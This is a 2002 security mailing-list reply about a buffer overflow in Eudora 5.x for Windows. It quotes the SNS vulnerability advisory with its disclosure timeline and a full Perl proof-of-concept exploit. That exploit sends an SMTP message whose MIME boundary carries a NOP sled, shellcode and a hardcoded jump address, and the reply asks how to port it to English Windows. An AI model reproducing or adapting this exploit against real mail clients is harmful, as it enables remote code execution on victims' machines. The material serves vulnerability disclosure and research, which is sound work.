Re: [SNS Advisory No.55] Eudora 5.x for Windows Buffer Overflow Vulnerability

[Steven Michaud <smch () midway uchicago edu>]

It's not too surprising that this exploit doesn't work on English
Windows 2000 Pro, with or without SP2.  But I can't even get it to
crash Eudora (5.1 or 5.1.1) unless I open the hacked message,
right-click on it, and feed it through the "Unwrap Text" plugin.

Has anyone ported this exploit to English Windows 2000?  If so, when
is the exploit triggered?  (In the preview pane?  When you open the
message?  Under some other circumstances?)

Likewise, when is the exploit triggered on Japanese Windows 2000 Pro?

Thanks in advance!

On Tue, 6 Aug 2002, Kanatoko wrote:

> This is a proof of concept exploit for Eudora 5.x buffer overflow.
>
> Tested on:
>   Japanese Windows 2000 Professional SP2
>   Eudora Version 5.0.2-Jr2
>
>
> #!/usr/local/bin/perl
>
> #---------------------------------------------------------------------
> # Eudora Version 5.0.2-Jr2 exploit for Japanese Windows 2000 Pro (SP2)
> # written by Kanatoko <anvil () jumperz net>
> # http://www.jumperz.net/
> #---------------------------------------------------------------------
>
> use Socket;
>
> $connect_host   = 'mail.jumperz.net';
> $port           = 25;
> $env_from       = 'anvil () jumperz net';
> $env_to         = 'target () jumperz net';
> $from           = 'anvil () jumperz net';
> $to             = 'target () jumperz net';
>
> $iaddr = inet_aton($connect_host) || die "Host Resolve Error.\n";
> $sock_addr = pack_sockaddr_in($port,$iaddr);
> socket(SOCKET,PF_INET,SOCK_STREAM,0) || die "Socket Error.\n";
> connect(SOCKET,$sock_addr) || die "Connect Error\n";
> select(SOCKET); $|=1; select(STDOUT);
>
>         #egg written by UNYUN (http://www.shadowpenguin.org/)
>         #57bytes
> $egg  = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2";
> $egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7";
> $egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C";
> $egg .= "\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB";
> $egg .= "\xFD\xE8\xD4\xFF\xFF\xFF";
> $egg .= "notepad.exe";
>
> $buf  = "\x90" x 121;
> $buf .= $egg;
> $buf .= "\xEB\xA0"; #JMP -0x60
> $buf .= "A" x 2;
> $buf .= "\x97\xAC\xE3\x77"; #0x77e3ac97 JMP EBX in user32.dll
>
> $hoge = <SOCKET>;
> print SOCKET "HELO hoge\x0D\x0A";
> $hoge = <SOCKET>;
> print SOCKET "MAIL FROM:<$env_from>\x0D\x0A";
> $hoge = <SOCKET>;
> print SOCKET "RCPT TO:<$env_to>\x0D\x0A";
> $hoge = <SOCKET>;
> print SOCKET "DATA\x0D\x0A";
> $hoge = <SOCKET>;
>
> print SOCKET << "_EOD_";
> MIME-Version: 1.0\x0D
> > From: $from\x0D
> To: $to\x0D
> Content-Type: multipart/mixed; boundary="$buf"\x0D
> \x0D
> .\x0D
> _EOD_
> $hoge = <SOCKET>;
> print SOCKET "QUIT\x0D\x0A";
> $hoge = <SOCKET>;
>
>
> --
> Kanatoko  <anvil () jumperz net>
> JUMPER : http://www.jumperz.net/(Japanese)
>
>
> On Mon, 05 Aug 2002 15:24:25 +0900
> snsadv () lac co jp wrote:
>
> > ----------------------------------------------------------------------
> > SNS Advisory No.55
> > Eudora 5.x for Windows Buffer Overflow Vulnerability
> >
> > Problem first discovered: 6 Jun 2002
> > Published: 5 Aug 2002
> > ----------------------------------------------------------------------
> >
> > Overview:
> > ---------
> >   Eudora 5.x for Windows contains a buffer overflow vulnerability,
> >   which could allow a remote attacker to execute arbitrary code.
> >
> > Problem Description:
> > --------------------
> >   Eudora developed and distributed by QUALCOMM Inc.
> >   (http://www.qualcomm.com/), is a Mail User Agent running on Windows
> >   95/98/2000/ME/NT 4.0 and MacOS 8.1 or later.
> >
> >   The buffer overflow occurs when Eudora receives a message using a long
> >   string as a boundary, which is used to divide a multi-part message into
> >   separate parts.  In our verification environment, we have found that
> >   this could allow arbitrary commands to be executed.
> >
> > Tested Version:
> > ---------------
> >   Eudora 5.0-J for Windows (Ver.5.0.2-Jr2 trial) [Japanese]
> >   Eudora 5.1.1 for Windows (Sponsored Mode) [English]
> >
> > Tested OS:
> > ----------
> >   Microsoft Windows 2000 Professional SP2 [Japanese]
> >   Microsoft Windows 98 SE [Japanese]
> >
> > Solution:
> > ---------
> >   The problem will be fixed in the next release of Eudora.
> >   The vendor has not reported when the next release will be available.
> >
> > Communication background:
> > -------------------------
> >  6 Jun 2002  : We discovered the vulnerability.
> >  6 Jun 2002  : We reported the findings to Livin' on the EDGE Co., Ltd.
> >                (user support of Japanese version) .
> >  14 Jun 2002 : the findings were reported again to Livin' on the EDGE Co.,
> >                Ltd. .
> >  17 Jun 2002 : We contacted QUALCOMM Inc. .
> >  18 Jun 2002 : QUALCOMM Inc. sent a reply stating that they had started an
> >                investigation of the problem.
> >  3 Jul 2002  : We asked QUALCOMM Inc. about the progress of the
> >                investigation
> >  19 Jul 2002 : We asked QUALCOMM Inc. again about the progress of the
> >                investigation
> >  24 Jul 2002 : We informed QUALCOMM Inc. about the announcement schedule
> >                of this advisory
> >  25 Jul 2002 : QUALCOMM Inc. reported that this problem will be fixed in
> >                the next release
> >  5 Aug 2002  : We decided to disclose this vulnerability due to concern
> >                over the potential consequences this issue may cause.
> >                Livin' on the EDGE Co., Ltd. has not provided any comments
> >                on this issue as of August 5, 2002.
> >
> > Discovered by:
> > --------------
> >   Nobuo Miwa (LAC / n-miwa () lac co jp)
> >
> > Disclaimer:
> > -----------
> >   All information in these advisories are subject to change without any
> >   advanced notices neither mutual consensus, and each of them is released
> >   as it is. LAC Co.,Ltd. is not responsible for any risks of occurrences
> >   caused by applying those information.
> >
> > ------------------------------------------------------------------
> > SecureNet Service(SNS) Security Advisory <snsadv () lac co jp>
> > Computer Security Laboratory, LAC  http://www.lac.co.jp/security/